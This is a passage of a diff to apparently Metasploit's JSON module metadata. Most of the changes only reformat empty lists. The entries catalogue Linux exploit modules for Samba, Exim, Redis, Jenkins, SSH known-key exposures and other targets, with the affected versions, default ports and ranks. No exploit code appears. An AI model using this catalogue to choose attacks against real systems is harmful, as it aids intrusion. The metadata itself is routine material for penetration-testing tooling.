"autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253" ], @@ -94823,17 +83523,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/ib_pwd_db_aliased": { "name": "Borland InterBase PWD_db_aliased() Buffer Overflow", "fullname": "exploit/linux/misc/ib_pwd_db_aliased", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -94851,12 +83548,8 @@ "platform": "Linux", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253" ], @@ -94867,17 +83560,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/igel_command_injection": { "name": "IGEL OS Secure VNC/Terminal Command Injection RCE", "fullname": "exploit/linux/misc/igel_command_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-02-25", "type": "exploit", @@ -94897,12 +83587,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": 30022, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Secure Terminal Service", "Secure Shadow Service" @@ -94932,9 +83618,7 @@ "exploit_linux/misc/jenkins_java_deserialize": { "name": "Jenkins CLI RMI Java Deserialization Vulnerability", "fullname": "exploit/linux/misc/jenkins_java_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-11-18", "type": "exploit", @@ -94958,12 +83642,8 @@ "platform": "Java", "arch": "java", "rport": "8080", - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Jenkins 1.637" ], @@ -94974,17 +83654,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/misc/jenkins_ldap_deserialize": { "name": "Jenkins CLI HTTP Java Deserialization Vulnerability", "fullname": "exploit/linux/misc/jenkins_ldap_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-11-16", "type": "exploit", @@ -95005,12 +83682,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": "8080", - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Jenkins 2.31" ], @@ -95021,17 +83694,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/lprng_format_string": { "name": "LPRng use_syslog Remote Format String Vulnerability", "fullname": "exploit/linux/misc/lprng_format_string", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2000-09-25", "type": "exploit", @@ -95053,12 +83723,8 @@ "platform": "Linux", "arch": "x86", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Caldera OpenLinux 2.3 Bruteforce", @@ -95071,17 +83737,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/mongod_native_helper": { "name": "MongoDB nativeHelper.apply Remote Code Execution", "fullname": "exploit/linux/misc/mongod_native_helper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-24", "type": "exploit", @@ -95098,12 +83761,8 @@ "platform": "Linux", "arch": "", "rport": 27017, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux - mongod 2.2.3 - 32bits" ], @@ -95114,17 +83773,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/nagios_nrpe_arguments": { "name": "Nagios Remote Plugin Executor Arbitrary Command Execution", "fullname": "exploit/linux/misc/nagios_nrpe_arguments", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-21", "type": "exploit", @@ -95142,12 +83798,8 @@ "platform": "Unix", "arch": "cmd", "rport": 5666, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Nagios Remote Plugin Executor prior to 2.14" ], @@ -95158,17 +83810,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/netcore_udp_53413_backdoor": { "name": "Netcore Router Udp 53413 Backdoor", "fullname": "exploit/linux/misc/netcore_udp_53413_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-25", "type": "exploit", @@ -95185,12 +83834,8 @@ "platform": "", "arch": "", "rport": 53413, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MIPS Little Endian", "MIPS Big Endian" @@ -95202,17 +83847,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/netsupport_manager_agent": { "name": "NetSupport Manager Agent Remote Buffer Overflow", "fullname": "exploit/linux/misc/netsupport_manager_agent", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-01-08", "type": "exploit", @@ -95232,12 +83874,8 @@ "platform": "Linux", "arch": "x86", "rport": 5405, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "linux" ], @@ -95248,17 +83886,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/nimbus_gettopologyhistory_cmd_exec": { "name": "Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution", "fullname": "exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-10-25", "type": "exploit", @@ -95274,12 +83909,8 @@ "platform": "Linux,Unix", "arch": "cmd, x86, x64", "rport": 6627, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux Dropper" @@ -95309,9 +83940,7 @@ "exploit_linux/misc/novell_edirectory_ncp_bof": { "name": "Novell eDirectory 8 Buffer Overflow", "fullname": "exploit/linux/misc/novell_edirectory_ncp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-12-12", "type": "exploit", @@ -95332,12 +83961,8 @@ "platform": "Linux", "arch": "x86", "rport": 524, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3" ], @@ -95348,17 +83973,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/opennms_java_serialize": { "name": "OpenNMS Java Object Unserialization Remote Code Execution", "fullname": "exploit/linux/misc/opennms_java_serialize", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-11-06", "type": "exploit", @@ -95373,12 +83995,8 @@ "platform": "", "arch": "", "rport": 1099, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "OpenNMS / Linux x86", "OpenNMS / Linux x86_64" @@ -95390,17 +84008,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/qnap_transcode_server": { "name": "QNAP Transcode Server Command Execution", "fullname": "exploit/linux/misc/qnap_transcode_server", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-08-06", "type": "exploit", @@ -95418,12 +84033,8 @@ "platform": "Linux", "arch": "armle", "rport": 9251, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -95434,17 +84045,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/quest_pmmasterd_bof": { "name": "Quest Privilege Manager pmmasterd Buffer Overflow", "fullname": "exploit/linux/misc/quest_pmmasterd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-04-09", "type": "exploit", @@ -95459,12 +84067,8 @@ "platform": "Unix", "arch": "cmd", "rport": 12345, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Quest Privilege Manager pmmasterd 6.0.0-27 x64", "Quest Privilege Manager pmmasterd 6.0.0-27 x86" @@ -95476,17 +84080,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/saltstack_salt_unauth_rce": { "name": "SaltStack Salt Master/Minion Unauthenticated RCE", "fullname": "exploit/linux/misc/saltstack_salt_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2020-04-30", "type": "exploit", @@ -95507,12 +84108,8 @@ "platform": "Python,Unix", "arch": "python, cmd", "rport": 4506, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Master (Python payload)", "Master (Unix command)", @@ -95544,9 +84141,7 @@ "exploit_linux/misc/sercomm_exec": { "name": "SerComm Device Remote Code Execution", "fullname": "exploit/linux/misc/sercomm_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-12-31", "type": "exploit", @@ -95562,12 +84157,8 @@ "platform": "Linux", "arch": "", "rport": 32764, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic Linux MIPS Big Endian", "Generic Linux MIPS Little Endian", @@ -95589,17 +84180,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/tplink_archer_a7_c7_lan_rce": { "name": "TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution", "fullname": "exploit/linux/misc/tplink_archer_a7_c7_lan_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-25", "type": "exploit", @@ -95668,9 +84256,7 @@ "exploit_linux/misc/ueb9_bpserverd": { "name": "Unitrends UEB bpserverd authentication bypass RCE", "fullname": "exploit/linux/misc/ueb9_bpserverd", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-08-08", "type": "exploit", @@ -95688,12 +84274,8 @@ "platform": "Linux", "arch": "x86", "rport": 1743, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "UEB 9.*" ], @@ -95704,17 +84286,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/unidata_udadmin_auth_bypass": { "name": "Rocket Software Unidata udadmin_server Authentication Bypass", "fullname": "exploit/linux/misc/unidata_udadmin_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-03-30", "type": "exploit", @@ -95729,12 +84308,8 @@ "platform": "Linux,Unix", "arch": "x86, x64, cmd", "rport": 31438, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux Dropper" @@ -95747,9 +84322,7 @@ "post_auth": true, "default_credential": false, "notes": { - "SideEffects": [ - - ], + "SideEffects": [], "Reliability": [ "repeatable-session" ], @@ -95763,9 +84336,7 @@ "exploit_linux/misc/unidata_udadmin_password_stack_overflow": { "name": "Rocket Software Unidata udadmin_server Stack Buffer Overflow in Password", "fullname": "exploit/linux/misc/unidata_udadmin_password_stack_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2023-03-30", "type": "exploit", @@ -95780,12 +84351,8 @@ "platform": "Linux,Unix", "arch": "x86, x64, cmd", "rport": 31438, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux Dropper" @@ -95798,9 +84365,7 @@ "post_auth": false, "default_credential": false, "notes": { - "SideEffects": [ - - ], + "SideEffects": [], "Reliability": [ "repeatable-session" ], @@ -95814,9 +84379,7 @@ "exploit_linux/misc/zabbix_server_exec": { "name": "Zabbix Server Arbitrary Command Execution", "fullname": "exploit/linux/misc/zabbix_server_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-10", "type": "exploit", @@ -95835,12 +84398,8 @@ "platform": "Unix", "arch": "cmd", "rport": 10051, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Zabbix 1.6.7" ], @@ -95851,17 +84410,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/zyxel_ike_decoder_rce_cve_2023_28771": { "name": "Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution", "fullname": "exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2023-03-31", "type": "exploit", @@ -95877,12 +84433,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": 500, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Default" ], @@ -95910,9 +84462,7 @@ "exploit_linux/misc/zyxel_multiple_devices_zhttp_lan_rce": { "name": "Zyxel Unauthenticated LAN Remote Code Execution", "fullname": "exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-02-01", "type": "exploit", @@ -95974,9 +84524,7 @@ "exploit_linux/mysql/mysql_yassl_getname": { "name": "MySQL yaSSL CertDecoder::GetName Buffer Overflow", "fullname": "exploit/linux/mysql/mysql_yassl_getname", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-01-25", "type": "exploit", @@ -95995,12 +84543,8 @@ "platform": "Linux", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Debian 5.0 - MySQL (5.0.51a-24+lenny2)" @@ -96012,17 +84556,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/mysql/mysql_yassl_hello": { "name": "MySQL yaSSL SSL Hello Message Buffer Overflow", "fullname": "exploit/linux/mysql/mysql_yassl_hello", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-01-04", "type": "exploit", @@ -96038,12 +84579,8 @@ "platform": "Linux", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MySQL 5.0.45-Debian_1ubuntu3.1-log" ], @@ -96054,17 +84591,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/pop3/cyrus_pop3d_popsubfolders": { "name": "Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow", "fullname": "exploit/linux/pop3/cyrus_pop3d_popsubfolders", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-05-21", "type": "exploit", @@ -96084,12 +84618,8 @@ "platform": "Linux", "arch": "", "rport": 110, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Gentoo 2006.0 Linux 2.6" ], @@ -96100,17 +84630,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/postgres/postgres_payload": { "name": "PostgreSQL for Linux Payload Execution", "fullname": "exploit/linux/postgres/postgres_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-06-05", "type": "exploit", @@ -96145,22 +84672,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "postgresql" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/pptp/poptop_negative_read": { "name": "Poptop Negative Read Overflow", "fullname": "exploit/linux/pptp/poptop_negative_read", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-04-09", "type": "exploit", @@ -96177,12 +84699,8 @@ "platform": "Linux", "arch": "x86", "rport": 1723, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux Bruteforce" ], @@ -96193,17 +84711,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/proxy/squid_ntlm_authenticate": { "name": "Squid NTLM Authenticate Overflow", "fullname": "exploit/linux/proxy/squid_ntlm_authenticate", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-06-08", "type": "exploit", @@ -96220,12 +84735,8 @@ "platform": "Linux", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux Bruteforce" ], @@ -96236,17 +84747,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/redis/redis_debian_sandbox_escape": { "name": "Redis Lua Sandbox Escape", "fullname": "exploit/linux/redis/redis_debian_sandbox_escape", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-02-18", "type": "exploit", @@ -96260,22 +84768,18 @@ "URL-https://www.lua.org/pil/8.2.html", "URL-https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce", "URL-https://www.debian.org/security/2022/dsa-5081", - "URL-https://ubuntu.com/security/CVE-2022-0543" + "URL-http://web.archive.org/web/20240910172732/https://ubuntu.com/security/CVE-2022-0543" ], "platform": "Linux,Unix", "arch": "cmd, x86, x64", "rport": 6379, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux Dropper" ], - "mod_time": "2023-02-08 15:20:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb", "is_install_path": true, "ref_name": "linux/redis/redis_debian_sandbox_escape", @@ -96316,12 +84820,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": 6379, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -96348,9 +84848,7 @@ "exploit_linux/samba/chain_reply": { "name": "Samba chain_reply Memory Corruption (Linux x86)", "fullname": "exploit/linux/samba/chain_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-06-16", "type": "exploit", @@ -96386,17 +84884,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/samba/is_known_pipename": { "name": "Samba is_known_pipename() Arbitrary Module Load", "fullname": "exploit/linux/samba/is_known_pipename", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-24", "type": "exploit", @@ -96446,17 +84941,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/samba/lsa_transnames_heap": { "name": "Samba lsa_io_trans_names Heap Overflow", "fullname": "exploit/linux/samba/lsa_transnames_heap", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-05-14", "type": "exploit", @@ -96499,17 +84991,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/samba/setinfopolicy_heap": { "name": "Samba SetInformationPolicy AuditEventsInfo Heap Overflow", "fullname": "exploit/linux/samba/setinfopolicy_heap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-10", "type": "exploit", @@ -96553,17 +85042,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/samba/trans2open": { "name": "Samba trans2open Overflow (Linux x86)", "fullname": "exploit/linux/samba/trans2open", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-04-07", "type": "exploit", @@ -96599,17 +85085,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/smtp/apache_james_exec": { "name": "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write", "fullname": "exploit/linux/smtp/apache_james_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-10-01", "type": "exploit", @@ -96627,12 +85110,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Bash Completion", "Cron" @@ -96644,17 +85123,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/smtp/exim4_dovecot_exec": { "name": "Exim and Dovecot Insecure Configuration Command Injection", "fullname": "exploit/linux/smtp/exim4_dovecot_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-05-03", "type": "exploit", @@ -96694,17 +85170,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/smtp/exim_gethostbyname_bof": { "name": "Exim GHOST (glibc gethostbyname) Buffer Overflow", "fullname": "exploit/linux/smtp/exim_gethostbyname_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-01-27", "type": "exploit", @@ -96724,12 +85197,8 @@ "platform": "Unix", "arch": "cmd", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -96751,9 +85220,7 @@ "exploit_linux/smtp/haraka": { "name": "Haraka SMTP Command Injection", "fullname": "exploit/linux/smtp/haraka", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-01-26", "type": "exploit", @@ -96771,12 +85238,8 @@ "platform": "Linux", "arch": "x64, x86", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "linux x64", "linux x86" @@ -96799,9 +85262,7 @@ "exploit_linux/snmp/awind_snmp_exec": { "name": "AwindInc SNMP Service Command Injection", "fullname": "exploit/linux/snmp/awind_snmp_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-27", "type": "exploit", @@ -96817,12 +85278,8 @@ "platform": "Linux,Unix", "arch": "cmd, armle", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix In-Memory", "Linux Dropper" @@ -96834,17 +85291,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/snmp/net_snmpd_rw_access": { "name": "Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution", "fullname": "exploit/linux/snmp/net_snmpd_rw_access", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-05-10", "type": "exploit", @@ -96861,12 +85315,8 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86", "Linux x64" @@ -96878,17 +85328,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/ssh/ceragon_fibeair_known_privkey": { "name": "Ceragon FibeAir IP-10 SSH Private Key Exposure", "fullname": "exploit/linux/ssh/ceragon_fibeair_known_privkey", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-01", "type": "exploit", @@ -96904,12 +85351,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -96927,9 +85370,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -96937,9 +85378,7 @@ "exploit_linux/ssh/cisco_ucs_scpuser": { "name": "Cisco UCS Director default scpuser password", "fullname": "exploit/linux/ssh/cisco_ucs_scpuser", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-08-21", "type": "exploit", @@ -96956,12 +85395,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Cisco UCS Director < 6.7.2.0" ], @@ -96979,9 +85414,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -96989,9 +85422,7 @@ "exploit_linux/ssh/exagrid_known_privkey": { "name": "ExaGrid Known SSH Key and Default Password", "fullname": "exploit/linux/ssh/exagrid_known_privkey", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-04-07", "type": "exploit", @@ -97007,12 +85438,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -97030,9 +85457,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97040,9 +85465,7 @@ "exploit_linux/ssh/f5_bigip_known_privkey": { "name": "F5 BIG-IP SSH Private Key Exposure", "fullname": "exploit/linux/ssh/f5_bigip_known_privkey", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-11", "type": "exploit", @@ -97059,12 +85482,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -97082,9 +85501,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97092,9 +85509,7 @@ "exploit_linux/ssh/ibm_drm_a3user": { "name": "IBM Data Risk Manager a3user Default Password", "fullname": "exploit/linux/ssh/ibm_drm_a3user", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-04-21", "type": "exploit", @@ -97111,12 +85526,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Data Risk Manager <= 2.0.6.1" ], @@ -97134,9 +85545,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97144,9 +85553,7 @@ "exploit_linux/ssh/loadbalancerorg_enterprise_known_privkey": { "name": "Loadbalancer.org Enterprise VA SSH Private Key Exposure", "fullname": "exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-17", "type": "exploit", @@ -97160,12 +85567,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -97183,9 +85586,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97193,9 +85594,7 @@ "exploit_linux/ssh/mercurial_ssh_exec": { "name": "Mercurial Custom hg-ssh Wrapper Remote Code Exec", "fullname": "exploit/linux/ssh/mercurial_ssh_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-18", "type": "exploit", @@ -97210,12 +85609,8 @@ "platform": "Python", "arch": "python", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -97233,9 +85628,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, 